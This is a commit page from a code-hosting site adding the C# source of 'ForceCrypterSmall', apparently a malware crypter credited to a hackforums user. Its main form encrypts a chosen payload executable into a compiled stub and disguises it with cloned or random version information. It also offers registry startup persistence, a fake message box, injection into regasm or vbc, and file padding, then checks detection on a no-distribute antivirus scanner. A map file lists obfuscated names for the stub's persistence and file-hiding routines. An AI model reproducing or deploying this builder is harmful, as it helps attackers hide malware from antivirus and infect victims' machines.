i2p/crypters-scode
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

initial commit

Browse Source
This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
C# (ForceCrypter/ForceCrypterSmall/.vs/ForceCrypterSmall/v15/.suo
BIN
View File
Binary file not shown.
C# (ForceCrypter/ForceCrypterSmall/1469902921_lightning.ico
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 97 KiB

C# (ForceCrypter/ForceCrypterSmall/App.config
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v2.0.50727"/></startup>
</configuration>
C# (ForceCrypter/ForceCrypterSmall/ForceCrypterSmall.csproj
+103
View File
@@ -0,0 +1,103 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{14028E44-3B0C-491C-BE44-2A271E1B7501}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>ForceCrypterSmall</RootNamespace>
<AssemblyName>ForceCrypterSmall</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget>
<DebugSymbols>false</DebugSymbols>
<DebugType>none</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.DirectoryServices" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="encboop.cs" />
<Compile Include="Form1.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.cs">
<DependentUpon>Form1.cs</DependentUpon>
</Compile>
<Compile Include="NSTheme.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Resources\boop.cs" />
<Compile Include="Resources\Compiler.cs" />
<Compile Include="ThemeBase154.cs">
<SubType>Component</SubType>
</Compile>
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\boop.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
C# (ForceCrypter/ForceCrypterSmall/Form1.Designer.cs
Generated
+1102
View File
File diff suppressed because it is too large Load Diff
C# (ForceCrypter/ForceCrypterSmall/Form1.cs
+347
View File
@@ -0,0 +1,347 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Configuration;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.IO;
using System.Resources;
using Microsoft.Win32;
using ForceCrypterSmall.Resources;
using System.Globalization;
using System.Security.Cryptography;
using System.Net;
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace ForceCrypterSmall
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
Size T = Screen.PrimaryScreen.WorkingArea.Size;
Location = new Point(T.Width / 2 - Width / 2, T.Height / 2 - Height / 2);
}
private string RandomString(int length)
{
//Making a random string from the pool
string pool = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890";
pool += pool.ToUpper();
string tmp = "";
Random R = new Random();
for (int x = 0; x < length; x++)
{
tmp += pool[R.Next(0, pool.Length)].ToString();
}
return tmp;
}
private string RandomNumber(int _length)
{
//Making a random number for the random assemblys version
string pool = "0123456789";
pool += pool.ToUpper();
string tmp = "";
Random R = new Random();
for (int x = 0; x < _length; x++)
{
tmp += pool[R.Next(0, pool.Length)].ToString();
}
return tmp;
}
public void Pump(string file, int amount, bool random)
{
//Pumping function
FileStream fs = new FileStream(file, FileMode.Append, FileAccess.Write);
byte[] bytes = new byte[amount];
if (random)
{
Random rand = new Random();
rand.NextBytes(bytes);
}
fs.Write(bytes, 0, amount);
fs.Close();
}
private void btnPayload_Click(object sender, EventArgs e)
{
//Open file dialog to let the user select a payload
using (OpenFileDialog ofd = new OpenFileDialog())
{
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
ofd.Filter = "Payload|*.exe";
txtPayload.Text = ofd.FileName;
}
}
}
private void btnIcon_Click_1(object sender, EventArgs e)
{
//Open file dialog that lets the user to pick a icon
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Filter = "Icon|*.ico";
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
txtIcon.Text = ofd.FileName;
}
}
}
private void btnRandomize_Click_1(object sender, EventArgs e)
{
//Giving the assembly information text boxes random strings and numbers.
txtVersion.Text = RandomString(9);
txtCompany.Text = RandomString(16);
txtProduct.Text = RandomString(19);
txtCopyright.Text = RandomString(21);
txtTrademark.Text = RandomString(18);
txtVersion.Text = (RandomNumber(1) + "." + RandomNumber(2) + "." + RandomNumber(1) + "." + RandomNumber(1));
txtFVersion.Text = (RandomNumber(1) + "." + RandomNumber(1) + "." + RandomNumber(2) + "." + RandomNumber(2));
txtDescription.Text = RandomString(17);
txtTitle.Text = RandomString(15);
}
private void btnClone_Click_1(object sender, EventArgs e)
{
// Selecting a file to clone
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Filter = "Excutables|*.exe";
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
//File version info is all the assembly information about the file we picked with the open file dialog
FileVersionInfo myFileVersionInfo =
FileVersionInfo.GetVersionInfo(ofd.FileName);
//Changing the text boxes test to be the assembly information of the file we selected
txtFVersion.Text = myFileVersionInfo.FileVersion;
txtVersion.Text = myFileVersionInfo.ProductVersion;
txtProduct.Text = myFileVersionInfo.CompanyName;
txtDescription.Text = myFileVersionInfo.FileDescription;
txtCopyright.Text = myFileVersionInfo.LegalCopyright;
txtTrademark.Text = myFileVersionInfo.LegalTrademarks;
txtProduct.Text = myFileVersionInfo.ProductName;
txtTitle.Text = myFileVersionInfo.InternalName;
txtCompany.Text = myFileVersionInfo.CompanyName;
}
}
}
private void btnCrypt_Click_1(object sender, EventArgs e)
{
//Letting the user choose where to save the crypted file
SaveFileDialog FSave = new SaveFileDialog()
{
Filter = "Executable Files|*.exe",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
//If he choose and everything is good
if (FSave.ShowDialog() == DialogResult.OK)
{
//Refrencing our stub
string boop = Properties.Resources.boop;
//Assembly information
boop = boop.Replace("[title-replace]", txtTitle.Text);
boop = boop.Replace("[company-replace]", txtCompany.Text);
boop = boop.Replace("[product-replace]", txtProduct.Text);
boop = boop.Replace("[copyright-replace]", txtCopyright.Text);
boop = boop.Replace("[trademark-replace]", txtTrademark.Text);
boop = boop.Replace("[desc-replace]", txtDescription.Text);
boop = boop.Replace("[version-replace]", txtVersion.Text);
boop = boop.Replace("[fversion-replace]", txtFVersion.Text);
//Checking if the user checked startup and if he did replace the bool in stub.
boop = boop.Replace("[startup-replace]", cbStartup.Checked ? "true" : "false");
//Another startup check
if (cbStartup.Checked)
{
//RegisteryKey
boop = boop.Replace("[regfname-replace]", txtFName.Text);
boop = boop.Replace("[regfiname-replace]", txtStartup.Text);
boop = boop.Replace("[regkey-replace]", txtRegKey.Text);
//FolderName
boop = boop.Replace("[fname-replace]", txtFName.Text);
//FileName
boop = boop.Replace("[finame-replace]", txtStartup.Text);
}
if (cbMsgBox.Checked)
{
boop = boop.Replace("[fakemessage-replace]", "true");
boop = boop.Replace("[messagetitle-replace]", txtMsgTitle.Text);
boop = boop.Replace("[messagetext-replace]", txtMsg.Text);
}
else
{
boop = boop.Replace("[fakemessage-replace]", "false");
}
string encryptionkey = RandomString(300);
//Replacing the key in the stub with our encryption key
boop = boop.Replace("[key-replace]", encryptionkey);
//Reading the bytes from our payload
byte[] fBytes = File.ReadAllBytes(txtPayload.Text);
//Crypting process
string fCrypted = Convert.ToBase64String(fBytes);
//Crypting process
byte[] first = Encoding.UTF8.GetBytes(fCrypted);
//Getting the bytes from the encryption key
byte[] enckey = Encoding.UTF8.GetBytes(encryptionkey);
//Making a hash for the key
enckey = SHA256.Create().ComputeHash(enckey);
//Encrypting the bytes of the payload
byte[] encBytes = Encboop.AESEncrypt(first, enckey);
//Injection methods
if (rbItself.Checked)
boop = boop.Replace("[inject-replace]", "[itself]");
if(rbRegAsm.Checked)
boop = boop.Replace("[inject-replace]", "[regasm]");
if(rbVbc.Checked)
boop = boop.Replace("[inject-replace]", "[vbc]");
//Checking if user wanted delay
if(txtDelay.Text!=null)
boop = boop.Replace("[delay-replace]", txtDelay.Text);
if(txtDelay.Text == ""| txtDelay.Text == null)
boop = boop.Replace("[delay-replace]", "0");
bool worked;
//Our resource file
string ResF = Path.Combine(Application.StartupPath, "Encrypted.resources");
//Using a resourcewriter on our resource file
using (var Writer = new ResourceWriter(ResF))
{
//Adding the encrypted bytes to the resource file
Writer.AddResource("encfile", encBytes);
//Generating
Writer.Generate();
}
//If there is a icon compile with icon
if (File.Exists(txtIcon.Text))
worked = Compiler.CompileFromSource(boop, FSave.FileName, txtIcon.Text, new string[] {ResF});
//If not compile without
else
worked = Compiler.CompileFromSource(boop, FSave.FileName, null, new string[] {ResF});
//If worked show a messagebox
if (worked)
MessageBox.Show("Forced!", "Succsess!", MessageBoxButtons.OK, MessageBoxIcon.Information);
//If user chose to pump we pump the output file
if (cbPump.Checked)
{
if (rbRandomBytes.Checked)
{
Pump(FSave.FileName, int.Parse(txtPump.Text)*8*124, true);
}
else
{
Pump(FSave.FileName, int.Parse(txtPump.Text)*8*124, false);
}
}
}
}
public void Scan(string Filename) //File Scan
{
try
{
WebClient WBC = new WebClient(); //New WebClient
WBC.UploadFileCompleted += new UploadFileCompletedEventHandler(GetResults); //Adding Handler For Completion of WebClient Upload
WBC.UploadFileAsync(new Uri("https://www.pscan.xyz/api.php"), "POST", Filename); //Upload File for scan
while (WBC.IsBusy) { Application.DoEvents(); } // While Webclient is busy Do other Events
}
catch (Exception ex)
{
this.btnScan.Enabled = true;
MessageBox.Show(ex.Message); //Show Messagebox On Error
}
}
private void GetResults(object sender, System.Net.UploadFileCompletedEventArgs e) //Get Response from Server
{
try
{
string Results = System.Text.Encoding.UTF8.GetString(e.Result); //Get Response
AddtoLV(Results); //Add Response to Listivew
this.btnScan.Enabled = true;
}
catch (Exception ex)
{
this.btnScan.Enabled = true;
MessageBox.Show(ex.Message); //Show Messagebox On Error
}
}
private void AddtoLV(string response) //Add Response to Listview
{
listView1.Items.Clear(); //Remove scanned file trace
try
{
string[] AVDelimiter = new string[] { "[NextAV]" }; //AVs Delimiter
string[] AV = response.Split(AVDelimiter, StringSplitOptions.RemoveEmptyEntries); // AVs Splitter
string[] Delimiter1 = new string[] { "[ResultDetails]" }; //Result Details Delimiter
string[] ScanDetails = response.Split(Delimiter1, StringSplitOptions.RemoveEmptyEntries); //Split Results from Details
string[] Links = new string[] { "[Details]" }; //Details Delimiter
string[] ii = ScanDetails[1].Split(Links, StringSplitOptions.RemoveEmptyEntries); //Split Scan Details
txtScanRate.Text = ii[4]; //Detection Rate
txtScanLink.Text = ii[5]; //Scan Results Link
int processed = 0; //AV Counter
foreach (var i in AV) //Split Each AV
{
if (++processed == 36) break; //Stop Adding when Added all 35 AVs
string[] fa = new string[] { "[]Result[]" }; //Delimiter
string[] fr = i.Split(fa, StringSplitOptions.RemoveEmptyEntries); //Split AV From Result
ListViewItem x = new ListViewItem(fr[0]); //Add item AV
x.SubItems.Add(fr[1]); //Add AV result to Item
if (fr[1] == "OK")
{
x.ForeColor = Color.ForestGreen; //Lime Color For Clean Result
}
else
{
x.ForeColor = Color.Red; //Red Color for Infected Result
}
listView1.Items.Add(x); //Add AV and its Result to Listivew
}
}
catch (Exception ex) { MessageBox.Show(ex.Message); } //Message Anny error Occured
}
private void btnScanFile_Click(object sender, EventArgs e)
{
OpenFileDialog OFD = new OpenFileDialog(); //New OpenFileDialog
DialogResult result = OFD.ShowDialog(); // Show OpenFileDialog
if (result == DialogResult.OK) // Test result.
{ txtScanFile.Text = OFD.FileName; }
}
private void btnScan_Click(object sender, EventArgs e)
{
this.btnScan.Enabled = false;
Scan(txtScanFile.Text);
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Form1.resx
+129
View File
@@ -0,0 +1,129 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="richTextBox2.Text" xml:space="preserve">
<value>TOS:
This program was not meant to be used for malicious use.
This program was built for legit use such as protecting code from RE.
The author MrMutt(mrmutt) Is not responsible in any way for any malicous and illegal use of this program.
No scanning on virustotal.com or any other sites that disturbite.
ONLY USE www.pscan.xyz, https://scan.majyx.net/
</value>
</data>
</root>
C# (ForceCrypter/ForceCrypterSmall/Meanings.txt
+35
View File
@@ -0,0 +1,35 @@
Stub:
//em = encMethod stuff
//enc = All the encryption/decryption function (ex PolyDexDecrypt key = in PolyDexDecrypt function the variable "key")
//fun = anything that is in a function (ex AddToStartup string key = a variable in the function stated named "key")
byte PolyBabyDecrypt = QMtSHObM
byte PolyDexDecrypt = nCCDlgs5
byte StairsDecrypt = EyyzbDaLHB
void AddToStartup = TQEKIP
void HideFile = wcpiLYQLsRB
bool_startup = NfTuXbxvnS
[startup-replace] = [YpxjOfFPB]
[key-replace] = [FkSsotrjPQJ]
[encmethod-replace] = [kBfYFTdYhQmS]
[delay-replace] = [ozwFhkbJnubLk]
em string polydex = [GcUkSblPzhF]
em string polystairs = [SwsurtcRSH]
em string dex = [SgCy4ca]
em string aes = [fGaH2f]
enc StairsDecrypt byte key = gbaFhA
enc StairsDecrypt string Key = ggGhF
enc StairsDecrypt byte Data = bvg64fa
fun AddToStartup RegisteryKey key = KcHqX
fun HideFile FileInfo f = fIg
string encKey = GhtsF
byte fBytes = yELJS
string encMethod = Vjggum
fun ReadManaged byte bytes = GDMQJ
fun ReadManaged ResourceManager manager = JocJH
void ReadManaged = qNkhyYMB
class Reader = PlolzPNCHr
C# (ForceCrypter/ForceCrypterSmall/NSTheme.cs
+3532
View File
File diff suppressed because it is too large Load Diff
C# (ForceCrypter/ForceCrypterSmall/Program.cs
+21
View File
@@ -0,0 +1,21 @@
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace ForceCrypterSmall
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Properties/AssemblyInfo.cs
+36
View File
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("ForceCrypterSmall")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ForceCrypterSmall")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("14028e44-3b0c-491c-be44-2a271e1b7501")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.Designer.cs
Generated
+88
View File
@@ -0,0 +1,88 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace ForceCrypterSmall.Properties {
using System;
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ForceCrypterSmall.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// Looks up a localized string similar to using Microsoft.Win32;
///using System;
///using System.IO;
///using System.Reflection;
///using System.Resources;
///using System.Threading;
///using System.Windows.Forms;
///using System.Runtime.InteropServices;
///using System.Security.Cryptography;
///using System.Diagnostics;
///using System.ComponentModel;
///using System.Text;
///[assembly: AssemblyTitle(&quot;[title-replace]&quot;)]
///[assembly: AssemblyDescription(&quot;[desc-replace]&quot;)]
///[assembly: AssemblyCompany(&quot;[company-replace]&quot;)]
///[assembly: AssemblyProduct(&quot;[product-replace]&quot;)]
/// [rest of string was truncated]&quot;;.
/// </summary>
internal static string boop {
get {
return ResourceManager.GetString("boop", resourceCulture);
}
}
}
}
C# (ForceCrypter/ForceCrypterSmall/Properties/Resources.resx
+125
View File
@@ -0,0 +1,125 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="boop" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\boop.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;windows-1255</value>
</data>
</root>
C# (ForceCrypter/ForceCrypterSmall/Properties/Settings.Designer.cs
Generated
+26
View File
@@ -0,0 +1,26 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
